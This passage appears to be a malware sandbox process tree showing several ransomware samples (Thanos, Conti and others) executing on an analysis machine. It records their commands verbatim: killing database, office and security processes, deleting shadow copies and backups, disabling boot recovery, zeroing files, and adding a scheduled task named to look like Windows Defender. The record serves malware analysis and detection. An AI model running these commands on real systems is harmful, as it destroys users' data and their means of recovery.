      Launches sc.exe
      PID:4940
  - - C:\Windows\SysWOW64\sc.exe
      "sc.exe" config SSDPSRV start= auto
      4⤵
      Launches sc.exe
      PID:2104
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
      4⤵
      PID:1748
  - - C:\Windows\SysWOW64\sc.exe
      "sc.exe" config upnphost start= auto
      4⤵
      Launches sc.exe
      PID:5136
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe
      4⤵
      PID:5164
  - - C:\Windows\SysWOW64\sc.exe
      "sc.exe" config SQLTELEMETRY start= disabled
      4⤵
      Launches sc.exe
      PID:5176
  - - C:\Windows\SysWOW64\sc.exe
      "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
      4⤵
      Launches sc.exe
      PID:5256
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe *32
      4⤵
      PID:5456
  - - C:\Windows\SysWOW64\sc.exe
      "sc.exe" config SQLWriter start= disabled
      4⤵
      Launches sc.exe
      PID:5496
  - - C:\Windows\SysWOW64\sc.exe
      "sc.exe" config SstpSvc start= disabled
      4⤵
      Launches sc.exe
      PID:5548
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 conhost.exe
      4⤵
      PID:5744
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM mspub.exe /F
      4⤵
      Kills process with taskkill
      PID:5868
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM firefoxconfig.exe /F
      4⤵
      Kills process with taskkill
      PID:5876
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM excel.exe /F
      4⤵
      Kills process with taskkill
      PID:5892
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM thebat64.exe /F
      4⤵
      Kills process with taskkill
      PID:6068
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 net.exe
      4⤵
      PID:4960
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 net1.exe
      4⤵
      PID:2124
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM agntsvc.exe /F
      4⤵
      Kills process with taskkill
      PID:5728
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM CNTAoSMgr.exe /F
      4⤵
      Kills process with taskkill
      PID:5760
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM mydesktopqos.exe /F
      4⤵
      Kills process with taskkill
      PID:5572
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 ARP.EXE
      4⤵
      PID:5900
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM ocomm.exe /F
      4⤵
      Kills process with taskkill
      PID:5256
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 icacls.exe
      4⤵
      PID:3368
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 cmd.exe
      4⤵
      PID:5436
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM thebat.exe /F
      4⤵
      Kills process with taskkill
      PID:2692
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM sqlwriter.exe /F
      4⤵
      Kills process with taskkill
      PID:6108
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM mydesktopservice.exe /F
      4⤵
      Kills process with taskkill
      PID:5552
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" IM thunderbird.exe /F
      4⤵
      Kills process with taskkill
      PID:3176
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM infopath.exe /F
      4⤵
      Kills process with taskkill
      PID:5156
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe
      4⤵
      PID:1752
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe *32
      4⤵
      PID:5932
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 conhost.exe
      4⤵
      PID:1752
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM mbamtray.exe /F
      4⤵
      Kills process with taskkill
      PID:6112
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM mysqld.exe /F
      4⤵
      Kills process with taskkill
      PID:5772
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM steam.exe /F
      4⤵
      Kills process with taskkill
      PID:2940
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM tbirdconfig.exe /F
      4⤵
      Kills process with taskkill
      PID:5620
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 net.exe
      4⤵
      PID:5924
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM dbsnmp.exe /F
      4⤵
      Kills process with taskkill
      PID:5856
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 net1.exe
      4⤵
      PID:6324
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM sqbcoreservice.exe /F
      4⤵
      Kills process with taskkill
      PID:7072
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM zoolz.exe /F
      4⤵
      Kills process with taskkill
      PID:3032
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM dbeng50.exe /F
      4⤵
      Kills process with taskkill
      PID:6156
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 ARP.EXE
      4⤵
      PID:6392
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM isqlplussvc.exe /F
      4⤵
      Kills process with taskkill
      PID:6556
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM encsvc.exe /F
      4⤵
      Kills process with taskkill
      PID:5660
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 icacls.exe
      4⤵
      PID:7872
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM xfssvccon.exe /F
      4⤵
      Kills process with taskkill
      PID:8120
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 cmd.exe
      4⤵
      PID:8132
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM mspub.exe /F
      4⤵
      Kills process with taskkill
      PID:6576
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM onenote.exe /F
      4⤵
      Kills process with taskkill
      PID:6420
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM tmlisten.exe /F
      4⤵
      Kills process with taskkill
      PID:7432
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe
      4⤵
      PID:7496
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM mydesktopservice.exe /F
      4⤵
      Kills process with taskkill
      PID:6676
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM mysqld-nt.exe /F
      4⤵
      Kills process with taskkill
      PID:1360
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM ocautoupds.exe /F
      4⤵
      Kills process with taskkill
      PID:7864
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe *32
      4⤵
      PID:6200
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM PccNTMon.exe /F
      4⤵
      Kills process with taskkill
      PID:7040
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 conhost.exe
      4⤵
      PID:7620
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM Ntrtscan.exe /F
      4⤵
      Kills process with taskkill
      PID:6808
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM msftesql.exe /F
      4⤵
      Kills process with taskkill
      PID:6400
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM winword.exe /F
      4⤵
      Kills process with taskkill
      PID:7244
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 net.exe
      4⤵
      PID:7624
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM wordpad.exe /F
      4⤵
      Kills process with taskkill
      PID:3044
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM ocssd.exe /F
      4⤵
      Kills process with taskkill
      PID:5176
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 net1.exe
      4⤵
      PID:7576
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM msaccess.exe /F
      4⤵
      Kills process with taskkill
      PID:7280
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 ARP.EXE
      4⤵
      PID:3100
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM sqlbrowser.exe /F
      4⤵
      Kills process with taskkill
      PID:7332
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM powerpnt.exe /F
      4⤵
      Kills process with taskkill
      PID:6416
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM sqlservr.exe /F
      4⤵
      Kills process with taskkill
      PID:7200
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 icacls.exe
      4⤵
      PID:4560
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM mysqld-opt.exe /F
      4⤵
      Kills process with taskkill
      PID:5664
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 cmd.exe
      4⤵
      PID:6164
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM oracle.exe /F
      4⤵
      Kills process with taskkill
      PID:5788
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM outlook.exe /F
      4⤵
      Kills process with taskkill
      PID:6148
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe
      4⤵
      PID:7636
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM mydesktopqos.exe /F
      4⤵
      Kills process with taskkill
      PID:6504
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM synctime.exe /F
      4⤵
      Kills process with taskkill
      PID:6368
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe *32
      4⤵
      PID:7336
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 conhost.exe
      4⤵
      PID:7076
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM sqlagent.exe /F
      4⤵
      Kills process with taskkill
      PID:1748
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 net.exe
      4⤵
      PID:4440
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill.exe" /IM visio.exe /F
      4⤵
      Kills process with taskkill
      PID:8456
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 net1.exe
      4⤵
      PID:8524
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 ARP.EXE
      4⤵
      PID:9168
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 icacls.exe
      4⤵
      PID:8508
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
      4⤵
      PID:8664
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 cmd.exe
      4⤵
      PID:9056
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe
      4⤵
      PID:2052
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe *32
      4⤵
      PID:7144
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 conhost.exe
      4⤵
      PID:9204
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 net.exe
      4⤵
      PID:6316
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 net1.exe
      4⤵
      PID:8432
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 ARP.EXE
      4⤵
      PID:4828
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 icacls.exe
      4⤵
      PID:6124
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 cmd.exe
      4⤵
      PID:8632
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta
      4⤵
      PID:8304
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:9016
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.7 -n 3
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:9276
    - - C:\Windows\SysWOW64\fsutil.exe
        
        fsutil file setZeroData offset=0 length=524288 “%s”
        5⤵
        
        PID:8652
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe
      4⤵
      PID:7580
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe *32
      4⤵
      PID:3128
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 conhost.exe
      4⤵
      PID:9392
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 net.exe
      4⤵
      PID:9664
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 net1.exe
      4⤵
      PID:9844
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 ARP.EXE
      4⤵
      PID:10060
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 icacls.exe
      4⤵
      PID:10208
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 cmd.exe
      4⤵
      PID:8620
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe
      4⤵
      PID:9880
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe *32
      4⤵
      PID:10128
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe
      4⤵
      PID:10112
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Blocker.gen-a267e0d83b4ece8957283582de37e53a2d0d66938a29ca621592f5ccf0b416a8.exe
    HEUR-Trojan-Ransom.Win32.Blocker.gen-a267e0d83b4ece8957283582de37e53a2d0d66938a29ca621592f5ccf0b416a8.exe
    3⤵
    PID:2120
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Blocker.gen-adf56d5514f9ff609943983010d3fc67ac0b29d5f92ac9adc25bafba79bad88a.exe
    HEUR-Trojan-Ransom.Win32.Blocker.gen-adf56d5514f9ff609943983010d3fc67ac0b29d5f92ac9adc25bafba79bad88a.exe
    3⤵
    PID:852
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Conti.gen-53b1c1b2f41a7fc300e97d036e57539453ff82001dd3f6abf07f4896b1f9ca22.exe
    HEUR-Trojan-Ransom.Win32.Conti.gen-53b1c1b2f41a7fc300e97d036e57539453ff82001dd3f6abf07f4896b1f9ca22.exe
    3⤵
    PID:388
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c C:\Windows\System32\wbem\WMIC.exe shadowcopy where "ID='{438E72CA-0AD1-4205-B4AB-45C1B61F2279}'" delete
      4⤵
      PID:3624
    - - C:\Windows\System32\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe shadowcopy where "ID='{438E72CA-0AD1-4205-B4AB-45C1B61F2279}'" delete
        5⤵
        
        PID:2268
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Convagent.gen-e139a350242af220a379940c1a667891161ff92bdcdbb5acd024076a27ddbf56.exe
    HEUR-Trojan-Ransom.Win32.Convagent.gen-e139a350242af220a379940c1a667891161ff92bdcdbb5acd024076a27ddbf56.exe
    3⤵
    PID:668
  - - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Convagent.gen-e139a350242af220a379940c1a667891161ff92bdcdbb5acd024076a27ddbf56.exe
      HEUR-Trojan-Ransom.Win32.Convagent.gen-e139a350242af220a379940c1a667891161ff92bdcdbb5acd024076a27ddbf56.exe
      4⤵
      PID:4264
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Crypmodadv.vho-c1c40c13de318e8fa290dbb71c1b69be489b0d86abe65a39130e19d5b3eab28b.exe
    HEUR-Trojan-Ransom.Win32.Crypmodadv.vho-c1c40c13de318e8fa290dbb71c1b69be489b0d86abe65a39130e19d5b3eab28b.exe
    3⤵
    PID:4072
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Foreign.gen-e742a50fc5dc16f9ac7ca253fce897b08ccbb2dcbf579f137d3e6adba61fc7c0.exe
    HEUR-Trojan-Ransom.Win32.Foreign.gen-e742a50fc5dc16f9ac7ca253fce897b08ccbb2dcbf579f137d3e6adba61fc7c0.exe
    3⤵
    PID:2316
  - - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Foreign.gen-e742a50fc5dc16f9ac7ca253fce897b08ccbb2dcbf579f137d3e6adba61fc7c0.exe
      C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Foreign.gen-e742a50fc5dc16f9ac7ca253fce897b08ccbb2dcbf579f137d3e6adba61fc7c0.exe
      4⤵
      PID:3612
    - - C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:5412
      - C:\Windows\install\MicroDate.exe
        
        "C:\Windows\install\MicroDate.exe"
        6⤵
        
        PID:5976
        
        C:\Windows\install\MicroDate.exe
        
        C:\Windows\install\MicroDate.exe
        7⤵
        
        PID:6352
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5976 -s 668
        7⤵
        Program crash
        
        PID:7036
    - - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Foreign.gen-e742a50fc5dc16f9ac7ca253fce897b08ccbb2dcbf579f137d3e6adba61fc7c0.exe
        
        "C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Foreign.gen-e742a50fc5dc16f9ac7ca253fce897b08ccbb2dcbf579f137d3e6adba61fc7c0.exe"
        5⤵
        
        PID:4484
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2316 -s 692
      4⤵
      Program crash
      PID:5420
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Generic-4a47769cf06cd353a24bf01392a154fb5c9c97547e63382d1859f6b90448b2ba.exe
    HEUR-Trojan-Ransom.Win32.Generic-4a47769cf06cd353a24bf01392a154fb5c9c97547e63382d1859f6b90448b2ba.exe
    3⤵
    PID:1152
  - - C:\Users\Admin\appdata\local\temp\svcgef.exe
      "C:\Users\Admin\appdata\local\temp\svcgef.exe"
      4⤵
      PID:852
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c "vssadmin delete shadows /all /quiet"
        5⤵
        
        PID:6472
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c "wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0"
        5⤵
        
        PID:7260
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c "wbadmin DELETE BACKUP -keepVersions:0"
        5⤵
        
        PID:7632
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c "wmic SHADOWCOPY DELETE"
        5⤵
        
        PID:1496
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic SHADOWCOPY DELETE
        6⤵
        
        PID:8184
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c "bcdedit /set {default} recoveryenabled No"
        5⤵
        
        PID:8000
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"
        5⤵
        
        PID:3368
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "ping 0.0.0.0&del "C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Generic-4a47769cf06cd353a24bf01392a154fb5c9c97547e63382d1859f6b90448b2ba.exe""
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:5404
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 0.0.0.0
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3448
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Generic-82a55487bd1c3b53eb0f0bee7483cae09792605e323b1df4b234582d21366d39.exe
    HEUR-Trojan-Ransom.Win32.Generic-82a55487bd1c3b53eb0f0bee7483cae09792605e323b1df4b234582d21366d39.exe
    3⤵
    PID:5596
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Generic-9862ba6b06253fd9343c9311bb00e28e97e86d426e6ccc83277f587e19517cd3.exe
    HEUR-Trojan-Ransom.Win32.Generic-9862ba6b06253fd9343c9311bb00e28e97e86d426e6ccc83277f587e19517cd3.exe
    3⤵
    PID:5492
  - - C:\Users\Admin\AppData\Local\Temp\Client.exe
      "C:\Users\Admin\AppData\Local\Temp\Client.exe"
      4⤵
      PID:5992
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "windowsdefendertask" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Client.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6892
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\VWYQ1dFdRvFq.bat" "
        5⤵
        
        PID:8008
      - C:\Windows\system32\chcp.com
        
        chcp 65001
        6⤵
        
        PID:6792
      - C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:8484
      - C:\Users\Admin\AppData\Local\Temp\Client.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Client.exe"
        6⤵
        
        PID:9572
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "windowsdefendertask" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Client.exe" /rl HIGHEST /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9980
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8nKAsTBg82Gl.bat" "
        7⤵
        
        PID:9688
  - - C:\Users\Admin\AppData\Local\Temp\discord.exe
      "C:\Users\Admin\AppData\Local\Temp\discord.exe"
      4⤵
      PID:6200
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6200 -s 932
        5⤵
        Program crash
        
        PID:7028
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Generic-ac8e713b699fd019b67cbaca58cc35738e05b3308c5abda28656a3097cb4c672.exe
    HEUR-Trojan-Ransom.Win32.Generic-ac8e713b699fd019b67cbaca58cc35738e05b3308c5abda28656a3097cb4c672.exe
    3⤵
    PID:5828
